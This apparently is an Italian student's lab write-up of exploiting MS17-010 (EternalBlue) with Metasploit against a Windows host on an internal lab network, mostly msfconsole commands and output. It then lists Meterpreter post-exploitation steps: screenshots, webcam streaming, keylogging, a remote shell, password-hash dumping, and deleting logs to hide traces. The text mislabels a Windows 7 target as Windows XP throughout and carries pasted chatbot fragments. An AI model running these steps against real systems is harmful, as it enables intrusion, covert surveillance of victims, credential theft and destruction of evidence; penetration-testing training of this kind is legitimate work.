W17D1

Per ottenere una sessione **Meterpreter** su una macchina **Windows XP** sfruttando la vulnerabilità **MS17-010 (EternalBlue)** con **Metasploit** su **Kali Linux**, e successivamente eseguire le operazioni richieste (recuperare uno screenshot, individuare la webcam, fare dump della tastiera, ecc.), dobbiamo procedere con un approccio sistematico. Ecco i passi dettagliati, suddivisi in modo chiaro:

1. Preparazione della rete interna

1.1 Collegamento delle macchine alla stessa rete

Dopo aver collegato le macchine in rete interna effettuo una scansione con **Nmap** per verificare la presenza della vulnerabilità **MS17-010** sulla macchina **Windows XP**:

Sfruttare la vulnerabilità MS17-010 con Metasploit

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

3.1 Avviare Metasploit

3.5 Eseguire l'exploit

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.50.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit)
[*] 192.168.50.101:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.50.101:445 - The target is vulnerable.
[*] 192.168.50.101:445 - Connecting to target for exploitation.
[+] 192.168.50.101:445 - Connection established for exploitation.
[+] 192.168.50.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.101:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.50.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
[*] 192.168.50.101:445 - 0x00000010 72 69 73 65 20 37 36 30 30
                                                                            rise 7600
[+] 192.168.50.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.50.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.101:445 - Starting non-paged pool grooming
[+] 192.168.50.101:445 - Sending SMBv2 buffers
[+] 192.168.50.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.101:445 - Sending final SMBv2 buffers.
[*] 192.168.50.101:445 - Sending last fragment of exploit packet!
[*] 192.168.50.101:445 - Receiving response from exploit packet
[+] 192.168.50.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.101:445 - Sending egg to corrupted connection.
[*] 192.168.50.101:445 - Triggering free of corrupted buffer.
[*] 192.168.50.101:445 - Connecting to target for exploitation.
[+] 192.168.50.101:445 - Connection established for exploitation.
[+] 192.168.50.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.101:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.50.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
```

```
[*] 192.168.50.101:445 - 0x00000010 72 69 73 65 20 37 36 30 30
                                                                             rise 7600
[+] 192.168.50.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.101:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.50.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.50.101:445 - Starting non-paged pool grooming
[+] 192.168.50.101:445 - Sending SMBv2 buffers
[+] 192.168.50.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.101:445 - Sending final SMBv2 buffers.
[*] 192.168.50.101:445 - Sending last fragment of exploit packet!
[*] 192.168.50.101:445 - Receiving response from exploit packet
[+] 192.168.50.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.101:445 - Sending egg to corrupted connection.
[*] 192.168.50.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] 192.168.50.101:445 - Connecting to target for exploitation.
[+] 192.168.50.101:445 - Connection established for exploitation.
[+] 192.168.50.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.50.101:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.50.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
[*] 192.168.50.101:445 - 0x00000010 72 69 73 65 20 37 36 30 30
                                                                             rise 7600
[+] 192.168.50.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.50.101:445 - Trying exploit with 22 Groom Allocations.
[*] 192.168.50.101:445 - Sending all but last fragment of exploit packet
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] 192.168.50.101:445 - Starting non-paged pool grooming
[+] 192.168.50.101:445 - Sending SMBv2 buffers
[+] 192.168.50.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.50.101:445 - Sending final SMBv2 buffers.
[*] 192.168.50.101:445 - Sending last fragment of exploit packet!
[*] 192.168.50.101:445 - Receiving response from exploit packet
```

```
[+] 192.168.50.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.50.101:445 - Sending egg to corrupted connection.
[*] 192.168.50.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.50.101
[*] Meterpreter session 11 opened (192.168.50.100:4444 -> 192.168.50.101:49595) at 2024-09-09 14:50:58 -0400
meterpreter > [*] Meterpreter session 10 opened (192.168.50.100:4444 -> 192.168.50.101:49594) at 2024-09-09
14:51:02 -0400
[*] Meterpreter session 14 opened (192.168.50.100:4444 -> 192.168.50.101:49598) at 2024-09-09 14:51:15 -0400
[*] Meterpreter session 12 opened (192.168.50.100:4444 -> 192.168.50.101:49596) at 2024-09-09 14:51:20 -0400
[*] Meterpreter session 13 opened (192.168.50.100:4444 -> 192.168.50.101:49597) at 2024-09-09 14:51:21 -0400
meterpreter > [*] 192.168.50.101 - Meterpreter session 15 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 16 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 17 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 18 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 19 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 13 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 14 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 12 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 11 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 10 closed. Reason: Died
```

meterpreter >

4. Operazioni tramite Meterpreter

4.1 Recuperare uno screenshot

screenshot

Screenshot saved to: /home/kali/WmrUQKnk.jpeg



4.2 Verificare la presenza di una webcam

```
meterpreter > webcam_list
[-] No webcams were found
```

webcam_list

Se è presente una webcam, il comando restituirà un elenco delle webcam disponibili.

4.3 Attivare la webcam

Se viene trovata una webcam, puoi visualizzare il feed della webcam con:

bash

Copia codice

webcam_stream

4.4 Dump della tastiera (Keylogger)

Per avviare un keylogger e catturare i tasti premuti, usa il comando:

bash

Copia codice

keyscan_start

Dopo averlo lasciato attivo per un po', puoi fermarlo e vedere ciò che è stato registrato:

bash

keyscan_dump keyscan_stop

5. Altre operazioni possibili con Meterpreter

5.1 Shell sulla macchina

```
meterpreter > shell
Process 2036 created.
Channel 1 created.
Microsoft Windows [Versione 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Tutti i diritti riservati.
C:\Windows\system32>ipconfig
ipconfig
Configurazione IP di Windows
Scheda Ethernet Connessione alla rete locale (LAN):
  Suffisso DNS specifico per connessione:
  Indirizzo IPv6 locale rispetto al collegamento . : fe80::85be:a319:c60d:e892%11
  Scheda Tunnel isatap. {1F6A7472-EE00-478D-8FAC-6F32F71919B6}:
  Stato supporto. . . . . . . . . . . . . Supporto disconnesso
```

Suffisso DNS specifico per connessione:

Puoi aprire una shell sulla macchina Windows XP utilizzando:

bash

Copia codice

shell

Questo ti permetterà di eseguire comandi del sistema operativo direttamente, ad esempio:

bash

Copia codice

ipconfig

5.2 Raccolta informazioni (systeminfo, users, password hash)

Puoi ottenere varie informazioni sulla macchina e sugli utenti:

bash

Copia codice

sysinfo # Informazioni di sistema getuid # Nome utente attuale hashdump # Dump degli hash delle password

6. Pulizia e disconnessione

Una volta completate le attività, è importante pulire la tua traccia e chiudere la sessione Meterpreter.

6.1 Cancellare i log

Puoi cercare e cancellare i file di log di Windows XP per eliminare eventuali tracce della tua attività.

6.2 Chiudere la sessione

Per chiudere la sessione Meterpreter, usa:

bash

Copia codice

exit

7. Considerazioni finali

Assicurati di ripristinare il firewall sulla macchina Windows XP e di riportare l'ambiente alla normalità dopo aver completato i test.

Conclusioni

Hai ora una guida completa passo per passo su come sfruttare la vulnerabilità **MS17-010** utilizzando **Metasploit**, ottenere una sessione **Meterpreter**, e poi eseguire le azioni richieste come screenshot, webcam, e keylogging.

telnet ip_win porta_win

netstat -tulpan

https://github.com/3tternp/CVE-2023-21554